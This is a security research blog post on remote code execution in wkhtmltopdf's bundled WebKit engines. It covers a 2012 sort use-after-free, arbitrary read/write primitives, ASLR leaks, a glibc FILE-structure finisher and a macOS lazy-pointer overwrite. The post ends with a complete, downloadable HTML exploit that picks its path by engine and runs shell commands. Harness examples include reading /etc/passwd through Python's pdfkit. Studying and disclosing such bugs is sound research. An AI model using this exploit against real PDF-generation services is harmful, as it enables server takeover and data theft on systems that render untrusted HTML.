wkhtmltopdf

The two earlier posts in this series walked through RCE exploits for PhantomJS (CVE-2014-1303) and Splash (a chain of three JavaScriptCore bugs). The premise both times: a service that renders attacker-controlled HTML embeds an abandoned browser engine, and a memory-corruption bug in that engine turns "render this document" into code execution in the render process. The payload is ordinary JavaScript in the submitted page.

This post applies the same premise to wkhtmltopdf, the HTML-to-PDF converter. The engine is older than either previous target, the bug is from 2011, and the result is a single HTML file that produces code execution on a stock install, under full ASLR, with no special render flags. Two things make it more than a re-run of the earlier work. First, the current packages are hardened with Full RELRO, which the PhantomJS and Splash builds were not, so the obvious finisher does not work and the payload has to be rebuilt around it. Second, the same file runs against the native macOS build as well as Linux, using one bug and one set of primitives with a finisher matched to each platform. As before, I worked through this with Claude (Opus).

The target

wkhtmltopdf renders HTML to PDF using a bundled copy of Qt's WebKit. It is widely used for server-side PDF generation: invoices, reports, statements, tickets, and exports. It ships as prebuilt packages for every major distribution, and it is the binary underneath common language wrappers such as Python's pdfkit, Ruby's wicked_pdf, PHP's Knp\Snappy, and django-wkhtmltopdf. The most-pulled Docker images that package it have millions of pulls each. Development stopped and the project was archived in early 2023, so a pinned install runs the same code indefinitely.

There are two builds, and the install method determines which engine you get. The distribution package (apt install wkhtmltopdf on Debian/Ubuntu) is a thin wrapper that links the system's Qt5 WebKit. The official "with patched qt" build from wkhtmltopdf.org is a ~50 MB monolith that statically bundles a patched Qt 4.8.7. These are two different browsers:

# apt package, Debian bookworm
$ wkhtmltopdf --version # 0.12.6
$ ldd $(which wkhtmltopdf) | grep -i webkit
libQt5WebKit.so.5 ... # AppleWebKit/602.1, a 2016 engine, patched
# official "with patched qt" build
$ wkhtmltopdf --version # 0.12.6.1 (with patched qt)
$ printf '<script>document.title=navigator.userAgent</script>' | wkhtmltopdf - out.pdf
... AppleWebKit/534.34 (KHTML, like Gecko) ... # QtWebKit 2.2, May 2011

The distribution build is not vulnerable to what follows; its engine is five years newer. As the end of this post shows, that does not make it safe; it is exploitable in a different way. wkhtmltopdf.org recommends the patched build, because the distribution build drops features like headers, footers, and forms, and it is WebKit 534.34, branched from WebKit trunk in May 2011. Every "with patched qt" release in the 0.12.x line (0.12.5, 0.12.6, 0.12.6.1) reports that same engine. The population that actually needs wkhtmltopdf's features is almost entirely running this patched-qt build, and it is the target of everything up to the last section.

Two properties of that build shape the whole exploit:

  • The JIT is disabled (-no-javascript-jit). There are no writable-executable JIT pages to write shellcode into, so the payload must be data-only, with no injected machine code. This is the same constraint as the Splash post, reached by a different route.
  • JavaScript is on by default. wkhtmltopdf executes <script> in submitted pages unless --disable-javascript is passed, and none of the common wrappers pass it.

The bug: CVE-2012-3748

The vulnerability is a use-after-free in JSArray::sort, demonstrated by Chris Evans against QtWebKit 2.2.1 in 2012. sort caches a pointer to the array's backing store (ArrayStorage) before invoking the user-supplied comparator. If the comparator mutates the array so the backing store is reallocated (both shift() and splice() do this by relocating the storage), sort keeps using the stale pointer for its write-back pass. Reading the fork's source (JavaScriptCore/runtime/JSArray.cpp) confirms the reload of m_storage after the comparator only happens on a path guarded by m_sparseValueMap; on the common path, the write-back goes through the freed pointer.

JSArray::sort() caches m_storage ArrayStorage (a1's backing) freed Uint32Array(100) backing attacker-controlled bytes shift()/splice() stale pointer
CVE-2012-3748. sort caches the storage pointer at entry; the comparator's shift()/splice() frees that chunk, which a Uint32Array(100) backing we control then reclaims. The write-back runs through the stale pointer into the attacker buffer.

That gives two independent primitives, depending on which access to the stale storage is used.

The tree-building loop reads each storage->m_vector[i] and passes it to the comparator as an argument. If the storage is freed early and reclaimed with attacker-controlled bytes, the comparator receives attacker-chosen data interpreted as JavaScript values. The write-back pass writes the sorted values back into storage->m_vector[i]; if that storage was reclaimed by an object you can read, you learn where a value landed.

The engine here predates the "butterfly" object model, JIT tiers, and most of what modern JSC exploits assume. It is classic pre-2012 JavaScriptCore: NaN-boxed 64-bit values, ArrayStorage with a 0x28-byte header, and typed arrays whose backing stores come from the same WTF::fastMalloc allocator as array storage. That last detail is what makes the primitives buildable.

addrof and fakeobj

The freed ArrayStorage chunk for a 33-element array rounds up to 0x190 bytes. A Uint32Array(100) backing store is exactly 0x190 bytes and is zero-initialized by tryFastCalloc, so it reclaims the freed chunk cleanly, and because the bytes at offset +0x08 are zero it keeps m_sparseValueMap null, staying on the stale write-back path.

Spraying those typed arrays inside the comparator, right after the shift() that frees the storage, gives both primitives:

  • addrof: the write-back writes the sorted array's values (which I control) into the reclaimed typed array's backing. Reading the typed array back as u32 pairs reveals where a chosen object was placed: its address, as a number.
  • fakeobj: planting a raw pointer-shaped value in the reclaimed backing, then letting the tree-build loop read it, hands the comparator an object at an address of my choosing.

Both are stable across runs under live ASLR. addrof returned a valid heap pointer on the first test, and the reclaim is deterministic because fastMalloc's size classes are engine code, not platform code.

Forging a typed array for read/write

To turn the two primitives into arbitrary read/write, I forge a fake Uint32Array in a buffer I control (a real typed array's backing, whose address addrof gives me) and fakeobj a pointer to it. A typed-array read dispatches to the fast path that returns *(m_baseAddress + i*4), so if I control m_baseAddress, I control what every fa[i] reads and writes.

The forge needs a wrapper cell, a fake Structure, and a fake impl, all with fields borrowed from the real engine:

wrapper cell:   +0x00 vtable      +0x08 structure     +0x30 impl
fake impl: +0x00 vtable +0x10 m_baseAddress +0x28 m_length
fake structure: +0x00 vtable +0x10 typeInfo=0xa008 +0x40 classInfo
wrapper cell +0x00vtable +0x08structure +0x30m_impl fake structure +0x00vtable +0x10typeInfo = 0xa008 +0x40classInfo fake impl +0x00vtable +0x10m_baseAddress +0x28m_length TARGET any address
The forged Uint32Array, built in a buffer we control. fakeobj returns the wrapper cell; the structure only needs typeInfo = 0xa008 to pass the read path's type check. Each fa[i] reads or writes *(m_baseAddress + 4·i), and m_baseAddress is a single field we repoint to any address.

The one non-obvious field is typeInfo. It has to be 0xa008 (its low byte, 0x08, is ObjectType, which passes the isString check on the read path). The structure and class-info vtables can be borrowed from the module, but the read path only cares about typeInfo. With the fake view built, writing m_baseAddress and reading fa[0] is an arbitrary read; writing fa[0] is an arbitrary write. Re-pointing is a single field write, so the primitive is a movable window over the entire address space.

Leaking addresses under ASLR

Everything above needs concrete addresses, and ASLR randomizes all of them per run. The exploit leaks what it needs, in-page, with no /proc and no external help:

  • The module base comes from any impl's vtable: Uint32Array impls carry a C++ vtable pointer into the module, and the module is page-aligned, so impl_vt - IMPLVT is the base.
  • The backing store address, where the forge is assembled, comes from the same leaked impl (impl + 0x10).
  • libc / libSystem comes from reading a resolved external-function pointer (getenv) once arbitrary read exists.

The impl itself is reached from the target array through a short chain of reads: addrof the array, use a deliberately misaligned sparse-map read to recover the impl pointer from a NaN-boxed field, then read the impl's vtable and backing pointer. This is the most delicate part of the exploit and the most sensitive to heap state, but it is entirely self-contained. No hardcoded addresses survive in the final file.

Uint32Array controlled object addrof +sparse read impl +0x00vtable +0x10m_baseAddress backing store the forge buffer wkhtmltopdf module (mapped image) base base + IMPLVT module base = vtable − IMPLVT
Defeating ASLR from inside the page. addrof plus a sparse-map read recover the typed array's impl; its vtable is a pointer into the module (module base = vtable − IMPLVT), and m_baseAddress gives the backing store where the forge is assembled.

The payload problem: RELRO

With arbitrary read/write and a libc leak, the classic data-only finisher for a JIT-less target is straightforward. wkhtmltopdf's date parser calls strtol on the string passed to new Date(...). Overwrite the strtol entry in the binary's GOT with the address of system, then new Date("id > /tmp/pwn") calls system("id > /tmp/pwn"). No injected code and no ROP are required.

That works only on the older packages. The docker-era monolithic build is Partial RELRO: its .got.plt is writable, and the overwrite succeeds. But the current official CLI (the jammy and bookworm 0.12.6.1-3 builds) is compiled Full RELRO (BIND_NOW): the GOT is mapped read-only after startup. The exploit runs up to the final write and faults there. Reading the RELRO flags confirms it:

docker wk.bin (0.12.6.1 monolithic):   Partial RELRO  -> GOT writable   (overwrite works)
jammy /usr/local/bin/wkhtmltopdf: Full RELRO -> GOT read-only (overwrite faults)
jammy libwkhtmltox.so (the shared lib): Partial RELRO -> GOT writable

So the bug and the read/write primitive are intact on the current package; only the last step is blocked, and only on the standalone CLI. The shipped shared library that most library consumers load is still Partial RELRO. A finisher limited to the older or library builds is insufficient, so the payload has to avoid the GOT entirely.

A data-only finisher: House of Apple 2

The GOT is not the only writable code pointer reachable from arbitrary write. glibc's stdio keeps function pointers in the FILE structure's vtable, and they are exercised on every flush. House of Apple 2 is a well-known FSOP (file-stream-oriented programming) technique for modern glibc: point a FILE's vtable at the legitimate _IO_wfile_jumps (which passes glibc's vtable-range check), then arrange the wide-data fields so that the overflow path resolves an attacker-controlled function pointer:

_IO_OVERFLOW(fp) -> _IO_wfile_overflow -> _IO_wdoallocbuf
-> _IO_WDOALLOCATE = (*(fp->_wide_data->_wide_vtable + 0x68))(fp)

Set that slot to system, put the command string at fp itself (offset 0, the _flags field, with two leading spaces so the flag bits stay clear), and the flush calls system(fp) with the command as its argument. It is entirely data (a legitimate glibc vtable plus a fake wide-vtable that glibc does not range-check), so RELRO does not apply to it. On the Full-RELRO CLI it gives five shells out of five, under full ASLR.

corrupted FILE (_IO_2_1_stderr_) +0x00_flags = " id>/tmp/out" +0xa0_wide_data +0xd8vtable fake _wide_data +0xe0_wide_vtable fake vtable +0x68system _IO_wfile_jumps (real libc vtable, passes check) system(fp)
House of Apple 2 on the corrupted stderr FILE. vtable points at the real _IO_wfile_jumps so glibc's vtable-range check passes, but the overflow path follows the unchecked _wide_data → _wide_vtable → +0x68 to system, called with fp itself, whose _flags hold the command.

The offsets it needs (system, _IO_2_1_stderr_, _IO_wfile_jumps) are glibc-version-specific, so the exploit fingerprints the libc: the low twelve bits of the leaked getenv address are its page offset, which ASLR does not randomize, so a small table keyed on that value selects the right offsets for glibc 2.31, 2.35, and 2.36.

Firing it in-page

House of Apple 2 normally triggers when the process flushes stdio at exit. This exploit cannot wait for exit: the leak's final read deliberately corrupts a hash map and the process crashes when the sort unwinds, before any clean shutdown. The payload has to fire during the JavaScript, before that crash. This is the same reason the GOT-overwrite path used new Date, an inline call, rather than an at-exit hook.

The first working trigger was alert(). wkhtmltopdf prints JavaScript alerts to stderr (Warning: Javascript alert: ...), synchronously, and stderr is unbuffered, so the write goes straight through the corrupted FILE and fires the chain. That held up until I tested through pdfkit, which passes --quiet by default. --quiet silences every stderr write wkhtmltopdf makes, including the alert line, so the trigger disappeared and the exploit had no effect.

The fix is a trigger that depends on nothing but the exploit's own JavaScript. In WebKit 534.34, property access still dispatches through a cell's C++ vtable. So after the FILE is corrupted, I point the fake view's own vtable at a table filled with _IO_flush_all, then read a property off it. _IO_flush_all ignores its argument, walks the stdio list, and flushes the corrupted stream, which runs the payload. It works whether the caller passes --quiet, --debug-javascript, or nothing.

macOS: a different libc, a simpler finisher

The official macOS build is a Mach-O x86-64 binary reporting the same AppleWebKit/534.34. The bug is present, and the JavaScript-level primitives (addrof, the sparse-map leak, fakeobj, the forged view) are engine code, so they port unchanged. What does not port is everything downstream of libc: macOS has no glibc FILE vtable, no _IO_wfile_jumps, no House of Apple.

None is needed. Mach-O has no BIND_NOW equivalent that seals the lazy symbol pointers; __DATA,__la_symbol_ptr is writable, which puts macOS in the Partial-RELRO position, not the Full one. So the macOS finisher is the simpler GOT-style overwrite the Linux CLI could no longer use:

  1. Read the resolved _getenv lazy pointer to leak libSystem, and compute system = getenv_addr + delta, where delta is the fixed distance between the two functions in libsystem_c.
  2. Overwrite the _strtol lazy pointer with system.
  3. new Date("id > /tmp/pwn")strtolsystem.

Because the command is a real JavaScript string handed to system, there is no length limit and no need for the FSOP's 31-byte in-FILE buffer. Deriving the macOS offsets meant building the same core-scan harness the Linux work relied on: lldb attaching to the Rosetta-translated process and saving a dirty-memory core, parsed for the marker array. Once the harness existed, the port went from offsets to a working shell in a single pass. It worked five times out of five, natively, under macOS ASLR, as the invoking user.

One file, every target

The exploit stays a single file across every build and both platforms, routed by one fingerprint. The build's impl_vt & 0xfff is an ASLR-invariant page offset that identifies both the specific wkhtmltopdf build (so the right vtable/class-info offsets are used) and, implicitly, the platform:

impl_vt & 0xfff build finisher
0xfa8 / 0x7e8 / 0xf28 Linux glibc (docker / jammy / bookworm) House of Apple 2 FSOP
0x968 macOS 0.12.6 Mach-O x86-64 __la_symbol_ptr overwrite

Everything up to the finisher is shared: the leak, the forge, fakeobj, and the read of the getenv pointer (a GOT slot on Linux, a lazy pointer on macOS). Only the last few lines branch. Adding a new distribution is two table rows (a build fingerprint and, on Linux, a glibc-version row), both mechanical to extract. The exploit needs no flags at all: it is synchronous and fires before the page finishes loading, so --javascript-delay, --enable-local-file-access, and even --enable-javascript (on by default) are all unnecessary.

The other engine

The distribution package uses a newer WebKit, but a newer unmaintained engine is not a safe one. Its engine, Qt5 WebKit 602.1, is the exact engine from the previous post: Safari 10, September 2016, un-backported. That post chained three JavaScriptCore bugs (CVE-2017-2547, an FTL out-of-bounds addrof; CVE-2017-7005, fakeobj; and CVE-2018-4416, an m_vector leak) into arbitrary read/write and a data-only setcontext/execve payload against Splash, which embeds the same 602.1.

Because it is the same engine from the same source, those bugs are present in the distribution wkhtmltopdf too, and the Splash exploit's JavaScript-level offsets (the object layouts, the structure IDs, the payload's fake-object walk) carry over unchanged. Only the build-specific addresses differ: libQt5WebKit is a different binary, and the libc is a different version. Re-deriving those took five constants and produced a root shell on the distribution build, six times out of six, under full ASLR.

Two details are worth keeping, both the kind of version-delta a straight copy of the older exploit trips over. The libc leak originally read libQt5WebKit's malloc GOT slot, but WebKit's WTF FastMalloc interposes malloc, so that slot resolves back into libQt5WebKit rather than libc; the leak has to use a function WebKit does not reimplement, and getenv works. glibc 2.35's setcontext runs fldenv on the context's fpregs pointer unconditionally, so the payload has to supply a valid one; Splash's older glibc tolerated a null pointer, and this one faults on it.

There is no non-vulnerable wkhtmltopdf engine: the patched-qt build has a 2011 use-after-free, and the distribution build that avoids it has the 2016-era engine's bugs instead.

Proof of concept

The complete exploit is a single self-contained HTML file that adapts to whichever engine it lands on. It reads navigator.userAgent and dispatches: AppleWebKit/534.34 runs the CVE-2012-3748 exploit developed above, with its build, glibc, and platform fingerprint tables, while AppleWebKit/602.1 runs the distribution engine's exploit, the Part 2 chain from the previous section. Each branch leaks its own addresses at runtime, so nothing is hardcoded, and the two are wrapped in separate functions so their identically-named primitives never collide and only the matched engine ever executes.

navigator.userAgent run534() CVE-2012-3748 · sort UAF Linux → House of Apple 2 FSOP macOS → __la_symbol_ptr overwrite run602() CVE-2017-2547 / -7005 / 2018-4416 setcontext → execve AppleWebKit/534.34 AppleWebKit/602.1
One file, two engines. navigator.userAgent selects run534 (WebKit 534.34, this post's bug) or run602 (WebKit 602.1, the Part 2 chain); each then leaks its own addresses and finishes in the way that build allows.
exploit.html download
<html><body><script>
/* Engine-adaptive test page. Dispatches on navigator.userAgent to the matching
* handler for the two WebKit builds wkhtmltopdf ships. Drops `id` to /tmp/out. */
var ua = navigator.userAgent;
if (ua.indexOf("AppleWebKit/534.34") !== -1) run534();
else if (ua.indexOf("AppleWebKit/602.1") !== -1) run602();

/* ---------------- WebKit 534.34 (patched-qt builds) ---------------- */
function run534(){
var _gc=[];
function lo32(a){return (a%0x100000000)>>>0;} function hi32(a){return Math.floor(a/0x100000000)>>>0;}
function L(a){return lo32(a);} function H(a){return hi32(a);}
var _dv=new DataView(new ArrayBuffer(8));
function d2u(d){_dv.setFloat64(0,d,true); return [_dv.getUint32(0,true)>>>0,_dv.getUint32(4,true)>>>0];}
function fullptr(dbl){ var r=d2u(dbl); var qh=(r[1]+0x10000)>>>0, ql=r[0]>>>0;
var phi=qh>>>16; var plo=(((ql>>>16)|((qh&0xffff)<<16))>>>0); return phi*0x100000000+plo; }
function addrof(t){
var vw=[]; var a1=[]; for(var i=0;i<32;i++) a1[i]=t; a1[32]=0x41410000; _gc.push(a1,vw); var did=false;
a1.sort(function(x,y){ if(!did&&(x===0x41410000||y===0x41410000)){did=true; for(var g=0;g<4096;g++)a1.push(g);
for(var q=0;q<2000;q++){var v=new Uint32Array(100);v[0]=0x7abc0000+q;vw.push(v);}} return 0;});
var c={},b=null,bn=0; for(var i=0;i<vw.length;i++){var v=vw[i];
for(var k=0;k+1<v.length;k++){var lo=v[k]>>>0,hi=v[k+1]>>>0;
if(hi>0&&hi<0x10000&&lo>0&&(lo>>>16)!==0x7abc){var key=hi+":"+lo;c[key]=(c[key]||0)+1;
if(c[key]>bn){bn=c[key];b=[lo,hi];}}}} return b?(b[1]*0x100000000+b[0]):0;
}
function mkmapN(Tlo,Thi,N){var a=new Array(183);
a[0]=Tlo&0xffff;a[1]=(Tlo>>>16)&0xffff;a[2]=Thi&0xffff;a[3]=(Thi>>>16)&0xffff;
a[4]=N&0xffff;a[5]=0;a[6]=0;a[7]=0;a[8]=N&0xffff;a[9]=0;a[10]=0;a[11]=0;for(var i=12;i<183;i++)a[i]=0;
return String.fromCharCode.apply(null,a);}
function read2(mt,keeper,N){
var lo=lo32(mt),hi=hi32(mt),cap=[];
var a1=[];for(var i=0;i<28;i++)a1[i]=keeper;a1[28]=0x41410000;a1[29]=keeper;a1[30]=keeper;a1[31]=keeper;a1[32]=keeper;_gc.push(a1,cap);
var did=false;
a1.sort(function(x,y){if(!did&&(x===0x41410000||y===0x41410000)){did=true;for(var g=0;g<4096;g++)a1.push(g);
var s=[];for(var q=0;q<1500;q++)s.push(mkmapN(lo,hi,N));_gc.push(s);}
else if(did){var V=null;if(x!==keeper&&x!==0x41410000)V=x;else if(y!==keeper&&y!==0x41410000)V=y;
if(V!==null&&typeof V==="number")cap.push(V);}return 0;});
var d=[];for(var ii=0;ii<cap.length;ii++){var p=fullptr(cap[ii]);if(d.length===0||d[d.length-1]!==p)d.push(p);}return d;
}
function mkv(xlo,xhi){
var vw=[], cap=[]; var probe={m:1};
var a1=[]; a1[0]=probe; a1[1]=0x41410000; for(var i=2;i<33;i++) a1[i]=probe; _gc.push(a1,vw,cap);
var did=false;
a1.sort(function(x,y){ if(!did&&(x===0x41410000||y===0x41410000)){did=true;
for(var g=0;g<4096;g++) a1.push(g);
for(var q=0;q<2000;q++){var v=new Uint32Array(100); for(var t=10;t<100;t+=2){v[t]=xlo;v[t+1]=xhi;} vw.push(v);}}
else if(did){ if(x!==probe&&x!==0x41410000&&typeof x==="object"&&x!==null)cap.push(x);
else if(y!==probe&&y!==0x41410000&&typeof y==="object"&&y!==null)cap.push(y);} return 0;});
return cap.length?cap[0]:null;
}
var TV=new Uint32Array(0x140); for(var i=0;i<0x140;i++) TV[i]=0; _gc.push(TV);
var Atv=addrof(TV), Ahi=hi32(Atv);
var M0=Atv+0x24, olo=lo32(M0), ohi=hi32(M0), did=false, done=false;
var a1=[];for(var i=0;i<28;i++)a1[i]=TV;a1[28]=0x41410000;a1[29]=TV;a1[30]=TV;a1[31]=TV;a1[32]=TV;_gc.push(a1);
a1.sort(function(x,y){
if(!did&&(x===0x41410000||y===0x41410000)){did=true;for(var g=0;g<4096;g++)a1.push(g);
var s=[];for(var q=0;q<1500;q++)s.push(mkmapN(olo,ohi,6));_gc.push(s);}
else if(did){
var V=null; if(x!==TV&&x!==0x41410000&&typeof x==="number")V=x; else if(y!==TV&&y!==0x41410000&&typeof y==="number")V=y;
if(V!==null && !done){ done=true;
var impl=Ahi*0x100000000+((d2u(V)[1]+0x10000)>>>0);
var vs=read2(impl-0xa, TV, 2), impl_vt=vs[0]||0, backing=vs[vs.length-1]||0;
var fpwk=impl_vt&0xfff, os="linux", STRTOLP=0, DELTA=0;
var IMPLVT=0x294dfa8,WRAPVT=0x2a67950,STVT=0x2972d60,CINFO=0x2a67ae0,GEGOT=0x2af1260; // docker (glibc)
if(fpwk===0x7e8){ IMPLVT=0x2bcc7e8;WRAPVT=0x2ce6170;STVT=0x2bf15a0;CINFO=0x2ce6300;GEGOT=0x2d6f770; } // jammy
if(fpwk===0xf28){ IMPLVT=0x2a15f28;WRAPVT=0x2b2f970;STVT=0x2a3ada0;CINFO=0x2b2fb00;GEGOT=0x2bb92b0; } // bookworm
if(fpwk===0x968){ os="macos"; IMPLVT=0x24ad968;WRAPVT=0x253e390;STVT=0x24543b0;CINFO=0x253e360; // macOS Mach-O
GEGOT=0x24429f8; STRTOLP=0x2442fe8; DELTA=0x7c3b9; }
var Mb=impl_vt-IMPLVT;
var X=backing+0x100, Y=backing+0x200, lockaddr=backing+0xd0;
TV[0]=L(Mb+WRAPVT);TV[1]=H(Mb+WRAPVT); TV[2]=L(backing+0x80);TV[3]=H(backing+0x80);
TV[12]=L(backing+0x40);TV[13]=H(backing+0x40); TV[16]=L(impl_vt);TV[17]=H(impl_vt);
TV[20]=L(impl+0x10);TV[21]=H(impl+0x10); TV[26]=0x1000;
TV[32]=L(Mb+STVT);TV[33]=H(Mb+STVT); TV[36]=0xa008; TV[48]=L(Mb+CINFO);TV[49]=H(Mb+CINFO);
TV[(0x1e0)/4]=L(Y); TV[(0x1e0)/4+1]=H(Y);
var fa=mkv(L(backing),H(backing));
if(fa!==null){
fa[0]=L(backing); fa[1]=H(backing);
TV[20]=L(Mb+GEGOT); TV[21]=H(Mb+GEGOT);
var gl=fa[0]>>>0, gh=fa[1]>>>0, getenv_addr=gl+gh*0x100000000;
var cmd=" id>/tmp/out 2>&1";
if(os==="macos"){
var systemA=getenv_addr+DELTA, sidx=(STRTOLP-GEGOT)/4;
fa[sidx]=L(systemA); fa[sidx+1]=H(systemA);
new Date(cmd);
} else {
var po=gl&0xfff, go=0x44b70,so=0x50d70,stream_o=0x21b6a0,wfj_o=0x2170c0,flush_o=0x8edf0; // 2.35
if(po===0xc50){ go=0x3ac50;so=0x45f10;stream_o=0x1cf5c0;wfj_o=0x1caf40;flush_o=0x7f6c0; } // 2.31
if(po===0x0b0){ go=0x3f0b0;so=0x4c490;stream_o=0x1d4680;wfj_o=0x1d00a0;flush_o=0x83e50; } // 2.36
var libc=getenv_addr-go, systemA=libc+so, stderrp=libc+stream_o, wfj=libc+wfj_o;
TV[(0x268)/4]=L(systemA); TV[(0x268)/4+1]=H(systemA);
TV[20]=L(stderrp); TV[21]=H(stderrp);
var w=[0,0,0,0,0,0,0,0];
for(var ci=0;ci<cmd.length;ci++){ w[ci>>2]=(w[ci>>2]|(cmd.charCodeAt(ci)<<((ci&3)*8)))>>>0; }
for(var wi=0;wi<8;wi++) fa[wi]=w[wi]>>>0;
fa[8]=0; fa[9]=0; fa[10]=1; fa[11]=0; fa[34]=L(lockaddr); fa[35]=H(lockaddr);
fa[40]=L(X); fa[41]=H(X); fa[48]=0; fa[54]=L(wfj); fa[55]=H(wfj);
var fall=libc+flush_o, Zi=0x300>>2;
for(var zi=0;zi<64;zi++){ TV[Zi+zi*2]=L(fall); TV[Zi+zi*2+1]=H(fall); }
TV[0]=L(backing+0x300); TV[1]=H(backing+0x300);
try{ fa.x0; }catch(e){}
alert("A");
}
}
var t=Date.now();while(Date.now()-t<2000){}
}
}
return 0;});
document.write("x");
}

/* ---------------- WebKit 602.1 (distro Qt5WebKit) ---------------- */
function run602(){
var CMD="id > /tmp/out 2>&1";
var _bb=new ArrayBuffer(8),_f=new Float64Array(_bb),_u=new Uint32Array(_bb);
function u2d(lo,hi){_u[0]=lo>>>0;_u[1]=hi>>>0;return _f[0];}
function d2u(d){_f[0]=d;return [_u[0]>>>0,_u[1]>>>0];}
function lo32(a){return (a%0x100000000)>>>0;}
function hi32(a){return Math.floor(a/0x100000000)>>>0;}
function ptrish(v){ if(typeof v!=='number'||v!==v||v===(v|0))return false; var p=d2u(v);
return (p[1]>=0x0001 && p[1]<=0x7fff && p[0]!==0); }
function gc(){ for(var i=0;i<6;i++){ var ab=new ArrayBuffer(1024*1024*10); ab=null; } }
var SID=0x61;
var dummy={d:1};
var oob=[1.1,2.2,3.3,4.4,5.5,6.6,7.7,8.8];
oob.pa=dummy; oob.pb=dummy; oob.pc=dummy; oob.pd=dummy;
var g=new Float64Array(16);
function trig(a){ var acc=0.0; for(var j=0;j<30000;j++){ acc+=a[j&7]; }
var hi=a[7]; g[0]=a[-1];g[1]=a[-2];g[2]=a[-3];g[3]=a[-4];g[4]=a[-5];g[5]=a[-6];g[6]=a[-7];g[7]=a[-8];
g[8]=a[-9];g[9]=a[-10];g[10]=a[-11];g[11]=a[-12];g[12]=a[-13];g[13]=a[-14];g[14]=a[-15];g[15]=a[-16];
return acc+hi; }
function warm(n){ for(var w=0;w<n;w++){ trig(oob); } }
(function(){ var vs=[1,2.5,-3,1e100,{},[],"s",null,true,0x1234,3.14,{q:1}];
for(var i=0;i<vs.length;i++){ oob.pa=vs[i]; } oob.pa=dummy; })();
function addrof(x){ oob.pa=x; trig(oob); var v=g[1]; oob.pa=dummy; return v; }
function addrN(x){ var d=addrof(x); return d2u(d)[1]*0x100000000+d2u(d)[0]; }
warm(400);
function mkv(addr){ var a=[0,4.243991582e-314,u2d(lo32(addr),hi32(addr)),3.5e-323,3.5e-323];
var f=document.body.appendChild(document.createElement('iframe'));
f.contentWindow.Array.prototype.__defineGetter__(100,function(){return 1;});
var sub=f.contentWindow.Array.prototype.slice.call(a,0,4); f.remove(); return sub[0]; }
function opt(obj){ for(var i=0;i<500;i++){} var tmp={a:1}; gc(); tmp.__proto__={};
for(var k in tmp){ tmp.__proto__={}; gc(); obj.__proto__={}; return obj[k]; } }
opt({});
var ctl=null, CTLBASE=0;
for(var t=0;t<8 && !ctl;t++){ var mem=new Uint32Array(0x400000); var r=opt(mem); warm(150);
var ba=addrof(r); if(ptrish(ba)){ ctl=mem; CTLBASE=d2u(ba)[1]*0x100000000+d2u(ba)[0]; } }
if(ctl){
var V=CTLBASE+0x100000;
ctl[2]=0;ctl[3]=0; ctl[4]=lo32(V);ctl[5]=hi32(V); ctl[6]=0x10000;ctl[7]=1; ctl[0]=SID; ctl[1]=0x01182600;
var fake=mkv(CTLBASE);
function setV(a,len){ ctl[4]=lo32(a); ctl[5]=hi32(a); ctl[6]=(len||0x1000)>>>0; ctl[7]=1; }
function safeV(){ ctl[4]=lo32(V); ctl[5]=hi32(V); ctl[6]=0x10000; ctl[7]=1; }
function rd64(a){ setV(a,0x100); var lo=fake[0]>>>0,hi=fake[1]>>>0; safeV(); return hi*0x100000000+lo; }
function rd32(a){ setV(a,0x100); var v=fake[0]>>>0; safeV(); return v; }
if(fake instanceof Uint32Array){
var vt=rd64(rd64(addrN(Math.sin)+0x18)+0x38), fpwk=vt&0xfff;
var LIBWK_VT_OFF=0x9646a0, GETENV_GOT=0x2cf5a10; // distro jammy 602.1 (fpwk=0x6a0)
var libwk=vt-LIBWK_VT_OFF;
var getenv_addr=rd64(libwk+GETENV_GOT), po=getenv_addr&0xfff;
var GETENV_OFF=0x44b70, SETCTX_OFF=0x539e0, EXECVE_OFF=0xeb080; // glibc 2.35 (po=0xb70)
var libc=getenv_addr-GETENV_OFF;
if(rd32(libc)===0x464c457f)
(function go(cmd){
var SETCTX=libc+SETCTX_OFF, EXECVE=libc+EXECVE_OFF;
function w(off,val){ ctl[off>>2]=lo32(val); ctl[(off>>2)+1]=hi32(val); }
function wstr(off,s){ var b=[]; for(var i=0;i<s.length;i++)b.push(s.charCodeAt(i)&0xff); b.push(0);
while(b.length%8)b.push(0);
for(var i=0;i<b.length;i+=8){ ctl[(off+i)>>2]=(b[i]|(b[i+1]<<8)|(b[i+2]<<16)|(b[i+3]<<24))>>>0;
ctl[(off+i+4)>>2]=(b[i+4]|(b[i+5]<<8)|(b[i+6]<<16)|(b[i+7]<<24))>>>0; } }
function A(off){ return CTLBASE+off; }
var O_VM=0x900000,O_TABLE=0x920000,O_STRUCT=0x930000,O_CI=0x940000;
var O_BINSH=0x950000,O_DASHC=0x950010,O_CMD=0x950020,O_ARGV=0x950200,O_ENVP=0x950300,O_PATH=0x950380,O_STACK=0x970000;
w(0xe8,A(O_VM)); w(O_VM+0x4630,A(O_VM)); w(O_VM+0xc0,A(O_TABLE)); w(0xb0,0);
w(O_TABLE+0,0); w(O_TABLE+0x61*8,A(O_STRUCT)); w(O_STRUCT+0,0); w(O_STRUCT+8,0);
w(O_STRUCT+0x40,A(O_CI)); w(O_CI+0x8,0);
for(var k=0;k<0x40;k++) w(O_CI+0x18+k*8,SETCTX);
wstr(O_BINSH,"/bin/sh"); wstr(O_DASHC,"-c"); wstr(O_CMD,cmd);
wstr(O_PATH,"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");
w(O_ARGV+0,A(O_BINSH)); w(O_ARGV+8,A(O_DASHC)); w(O_ARGV+16,A(O_CMD)); w(O_ARGV+24,0);
w(O_ENVP+0,A(O_PATH)); w(O_ENVP+8,0);
w(0x28,0);w(0x30,0);w(0x48,0);w(0x50,0);w(0x58,0);w(0x60,0);w(0x78,0);w(0x80,0);w(0x98,0);
w(0x68,A(O_BINSH)); w(0x70,A(O_ARGV)); w(0x88,A(O_ENVP)); w(0xa0,A(O_STACK)); w(0xa8,EXECVE); w(0xe0,A(0x990000));
var junk=[]; for(var i=0;i<400;i++){ junk.push(new Uint8Array(0x10000)); }
})(CMD);
}
}
}
</script></body></html>

To exercise it against a real target, a small harness builds the Docker image for a chosen distribution (or points at an existing image, or a language wrapper) and runs the file:

$ ./wkpoc.py bookworm                       # official patched-qt build, rendered directly
$ ./wkpoc.py jammy # Full RELRO CLI
$ ./wkpoc.py pdfkit --cmd 'cat /etc/passwd' # Python pdfkit, arbitrary command
$ ./wkpoc.py wicked # Ruby wicked_pdf
$ ./wkpoc.py image:madnight/docker-alpine-wkhtmltopdf

On macOS, the same HTML runs against the native binary directly (wkhtmltopdf exploit.html out.pdf), returning uid=501(...), code execution as the invoking user.

On the collaboration

As in the previous post, the model did the labor and I supplied the direction.

